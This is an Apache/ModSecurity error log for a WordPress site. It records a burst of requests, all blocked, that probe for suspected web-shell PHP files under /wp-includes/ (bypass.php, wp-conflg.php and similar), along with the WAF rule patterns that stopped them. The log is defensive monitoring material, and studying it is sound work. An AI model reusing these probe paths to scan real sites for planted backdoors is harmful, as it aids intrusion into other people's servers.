[Sun Apr 19 02:41:52.794806 2026] [:error] [pid 32167:tid 32229] [client 45.137.126.97:53109] [client 45.137.126.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aePQcEyD4Jm27Mb3NJiWCQAAAIQ"]
[Sun Apr 19 02:41:59.107092 2026] [:error] [pid 60910:tid 60919] [client 45.137.126.79:41505] [client 45.137.126.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rk2.php"] [unique_id "aePQd3FWunkyacYqsD1MTQAAAUc"]
[Sun Apr 19 02:42:03.895617 2026] [:error] [pid 41277:tid 41280] [client 45.137.126.104:44527] [client 45.137.126.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/past.php"] [unique_id "aePQe0H3ayszMLZYflsFzgAAAYE"]
[Sun Apr 19 02:42:08.626340 2026] [:error] [pid 32167:tid 32235] [client 45.137.126.68:43221] [client 45.137.126.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/edit-tags.php"] [unique_id "aePQgEyD4Jm27Mb3NJiWHwAAAIo"]
[Sun Apr 19 02:42:17.722347 2026] [:error] [pid 60910:tid 60916] [client 45.137.126.72:56693] [client 45.137.126.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aePQiXFWunkyacYqsD1MagAAAUQ"]
[Sun Apr 19 02:42:20.958826 2026] [:error] [pid 32167:tid 32249] [client 45.137.126.100:26533] [client 45.137.126.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aePQjEyD4Jm27Mb3NJiWQgAAAJg"]
[Sun Apr 19 02:42:24.213783 2026] [:error] [pid 32252:tid 32255] [client 45.137.126.80:51315] [client 45.137.126.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aePQkOXl4Yc-Lt5fJ9isLQAAAQE"]
[Sun Apr 19 02:42:28.998180 2026] [:error] [pid 60910:tid 60933] [client 45.137.126.63:20851] [client 45.137.126.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aePQlHFWunkyacYqsD1MiwAAAVU"]
[Sun Apr 19 02:42:43.663905 2026] [:error] [pid 32165:tid 32192] [client 45.137.126.79:48223] [client 45.137.126.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aePQo6e2vKwEk_N0Brb_2AAAABc"]
[Sun Apr 19 02:42:44.694073 2026] [:error] [pid 32167:tid 32232] [client 45.137.126.64:54639] [client 45.137.126.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aePQpEyD4Jm27Mb3NJiWWAAAAIc"]
[Sun Apr 19 02:42:50.647844 2026] [:error] [pid 41277:tid 41288] [client 45.137.126.94:50025] [client 45.137.126.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aePQqkH3ayszMLZYflsGBAAAAYk"]
[Sun Apr 19 02:42:51.677019 2026] [:error] [pid 41277:tid 41285] [client 45.137.126.89:22121] [client 45.137.126.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aePQq0H3ayszMLZYflsGBQAAAYY"]
[Sun Apr 19 02:42:56.885985 2026] [:error] [pid 32165:tid 32189] [client 45.137.126.97:41211] [client 45.137.126.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aePQsKe2vKwEk_N0Brb_6gAAABQ"]
[Sun Apr 19 02:42:57.906872 2026] [:error] [pid 60910:tid 60924] [client 45.137.126.80:38367] [client 45.137.126.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ms-file.php"] [unique_id "aePQsXFWunkyacYqsD1MsgAAAUw"]
[Sun Apr 19 02:42:58.928913 2026] [:error] [pid 33517:tid 33524] [client 45.137.126.56:38467] [client 45.137.126.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.56, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aePQsn4Zz-rubR1wiZ-7gQAAAMU"]
[Sun Apr 19 02:42:58.933129 2026] [proxy_fcgi:error] [pid 33517:tid 33524] [client 45.137.126.56:38467] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 02:42:59.446824 2026] [:error] [pid 33517:tid 33530] [client 45.137.126.56:38467] [client 45.137.126.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/av.php"] [unique_id "aePQs34Zz-rubR1wiZ-7ggAAAMs"]
[Sun Apr 19 02:43:03.917457 2026] [:error] [pid 60910:tid 60919] [client 45.137.126.61:41543] [client 45.137.126.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aePQt3FWunkyacYqsD1MuQAAAUc"]
[Sun Apr 19 02:43:04.937925 2026] [:error] [pid 41277:tid 41299] [client 45.137.126.82:44887] [client 45.137.126.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/network.php"] [unique_id "aePQuEH3ayszMLZYflsGFAAAAZQ"]
[Sun Apr 19 02:43:16.907672 2026] [:error] [pid 32167:tid 32244] [client 45.137.126.58:21859] [client 45.137.126.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "aePQxEyD4Jm27Mb3NJiWmAAAAJM"]
[Sun Apr 19 02:43:17.923791 2026] [:error] [pid 33517:tid 33520] [client 45.137.126.69:26065] [client 45.137.126.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/item.php"] [unique_id "aePQxX4Zz-rubR1wiZ-7lQAAAME"]
[Sun Apr 19 02:43:21.347075 2026] [:error] [pid 41277:tid 41296] [client 45.137.126.62:40033] [client 45.137.126.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "aePQyUH3ayszMLZYflsGMgAAAZE"]
[Sun Apr 19 02:43:22.366892 2026] [:error] [pid 41277:tid 41287] [client 45.137.126.79:41163] [client 45.137.126.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/install.php"] [unique_id "aePQykH3ayszMLZYflsGMwAAAYg"]
[Sun Apr 19 02:43:23.387213 2026] [proxy_fcgi:error] [pid 32166:tid 32203] [client 45.137.126.91:22497] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 02:43:23.896417 2026] [:error] [pid 32166:tid 32207] [client 45.137.126.91:22497] [client 45.137.126.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.91, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aePQy5CHNkWwdiZnafLXVAAAAEk"]
[Sun Apr 19 02:43:28.015353 2026] [:error] [pid 32166:tid 32199] [client 45.137.126.91:22497] [client 45.137.126.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "aePQ0JCHNkWwdiZnafLXXAAAAEE"]
[Sun Apr 19 02:43:33.923738 2026] [:error] [pid 32166:tid 32209] [client 45.137.126.67:44363] [client 45.137.126.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "aePQ1ZCHNkWwdiZnafLXaQAAAEs"]
[Sun Apr 19 02:43:37.159901 2026] [:error] [pid 32167:tid 32245] [client 45.137.126.96:37579] [client 45.137.126.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/1.php"] [unique_id "aePQ2UyD4Jm27Mb3NJiWuAAAAJQ"]
[Sun Apr 19 02:43:38.196968 2026] [:error] [pid 60910:tid 60936] [client 45.137.126.56:51255] [client 45.137.126.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "aePQ2nFWunkyacYqsD1M4QAAAVg"]
[Sun Apr 19 02:43:44.488291 2026] [:error] [pid 60910:tid 60931] [client 45.137.126.68:46589] [client 45.137.126.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aePQ4HFWunkyacYqsD1M9gAAAVM"]
[Sun Apr 19 02:43:49.300006 2026] [:error] [pid 32167:tid 32233] [client 45.137.126.85:62691] [client 45.137.126.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/about.php"] [unique_id "aePQ5UyD4Jm27Mb3NJiW0AAAAIg"]
[Sun Apr 19 02:43:57.978713 2026] [:error] [pid 32167:tid 32242] [client 45.137.126.59:44651] [client 45.137.126.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "aePQ7UyD4Jm27Mb3NJiW6AAAAJE"]
[Sun Apr 19 02:43:59.016894 2026] [:error] [pid 41277:tid 41283] [client 45.137.126.89:23761] [client 45.137.126.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/bypass.php"] [unique_id "aePQ70H3ayszMLZYflsGQAAAAYQ"]
[Sun Apr 19 02:44:02.351939 2026] [:error] [pid 32166:tid 32209] [client 45.137.126.75:65093] [client 45.137.126.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/count.php"] [unique_id "aePQ8pCHNkWwdiZnafLXgwAAAEs"]
[Sun Apr 19 02:44:13.177925 2026] [:error] [pid 32166:tid 32215] [client 45.137.126.57:22427] [client 45.137.126.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aePQ_ZCHNkWwdiZnafLXkQAAAFE"]
[Sun Apr 19 02:44:17.962885 2026] [:error] [pid 33517:tid 33540] [client 45.137.126.100:40723] [client 45.137.126.100] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "rcacivilgroup.com"] [uri "/images/stories/themes.php"] [unique_id "aePRAX4Zz-rubR1wiZ-79gAAANU"]
[Sun Apr 19 02:44:18.477165 2026] [:error] [pid 33517:tid 33530] [client 45.137.126.100:40723] [client 45.137.126.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "aePRAn4Zz-rubR1wiZ-79wAAAMs"]
[Sun Apr 19 02:44:23.258329 2026] [:error] [pid 32167:tid 32229] [client 45.137.126.65:49841] [client 45.137.126.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "aePRB0yD4Jm27Mb3NJiXHAAAAIQ"]
[Sun Apr 19 02:44:24.338424 2026] [:error] [pid 32167:tid 32240] [client 45.137.126.65:49429] [client 45.137.126.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/vars-soap.php"] [unique_id "aePRCEyD4Jm27Mb3NJiXIAAAAI8"]
[Sun Apr 19 02:44:35.390559 2026] [:error] [pid 32166:tid 32213] [client 45.137.126.73:32249] [client 45.137.126.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "aePRE5CHNkWwdiZnafLXpAAAAE8"]
[Sun Apr 19 02:44:40.190383 2026] [:error] [pid 32167:tid 32245] [client 45.137.126.67:20139] [client 45.137.126.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "aePRGEyD4Jm27Mb3NJiXQgAAAJQ"]
[Sun Apr 19 02:44:43.469191 2026] [:error] [pid 32167:tid 32245] [client 45.137.126.88:53395] [client 45.137.126.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "aePRG0yD4Jm27Mb3NJiXTwAAAJQ"]
[Sun Apr 19 02:44:52.784100 2026] [:error] [pid 32252:tid 32268] [client 45.137.126.83:65167] [client 45.137.126.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "aePRJOXl4Yc-Lt5fJ9isygAAAQ4"]
[Sun Apr 19 02:44:53.805173 2026] [:error] [pid 32252:tid 32258] [client 45.137.126.66:49281] [client 45.137.126.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/colour.php"] [unique_id "aePRJeXl4Yc-Lt5fJ9iszAAAAQQ"]
[Sun Apr 19 02:44:57.062125 2026] [:error] [pid 60910:tid 60929] [client 45.137.126.100:50083] [client 45.137.126.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "aePRKXFWunkyacYqsD1NTgAAAVE"]
[Sun Apr 19 02:44:58.081097 2026] [:error] [pid 32167:tid 32241] [client 45.137.126.79:64441] [client 45.137.126.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/include.php"] [unique_id "aePRKkyD4Jm27Mb3NJiXYAAAAJA"]
[Sun Apr 19 02:45:03.290293 2026] [:error] [pid 41277:tid 41282] [client 45.137.126.64:59141] [client 45.137.126.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "aePRL0H3ayszMLZYflsGqQAAAYM"]
[Sun Apr 19 02:45:08.123852 2026] [:error] [pid 41277:tid 41303] [client 45.137.126.71:40755] [client 45.137.126.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "aePRNEH3ayszMLZYflsGtAAAAZg"]
[Sun Apr 19 02:45:09.166402 2026] [:error] [pid 33517:tid 33525] [client 45.137.126.57:51593] [client 45.137.126.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/about5.php"] [unique_id "aePRNX4Zz-rubR1wiZ-8GwAAAMY"]
[Sun Apr 19 02:45:17.027670 2026] [:error] [pid 32167:tid 32241] [client 45.137.126.64:41509] [client 45.137.126.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/db.php"] [unique_id "aePRPUyD4Jm27Mb3NJiXlwAAAJA"]
[Sun Apr 19 02:45:21.874537 2026] [:error] [pid 60910:tid 60924] [client 45.137.126.85:39517] [client 45.137.126.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "aePRQXFWunkyacYqsD1NdwAAAUw"]
[Sun Apr 19 02:45:28.191371 2026] [:error] [pid 41277:tid 41297] [client 45.137.126.91:22291] [client 45.137.126.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aePRSEH3ayszMLZYflsG2QAAAZI"]
[Sun Apr 19 02:45:29.209313 2026] [:error] [pid 60910:tid 60930] [client 45.137.126.80:57211] [client 45.137.126.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "aePRSXFWunkyacYqsD1NiwAAAVI"]
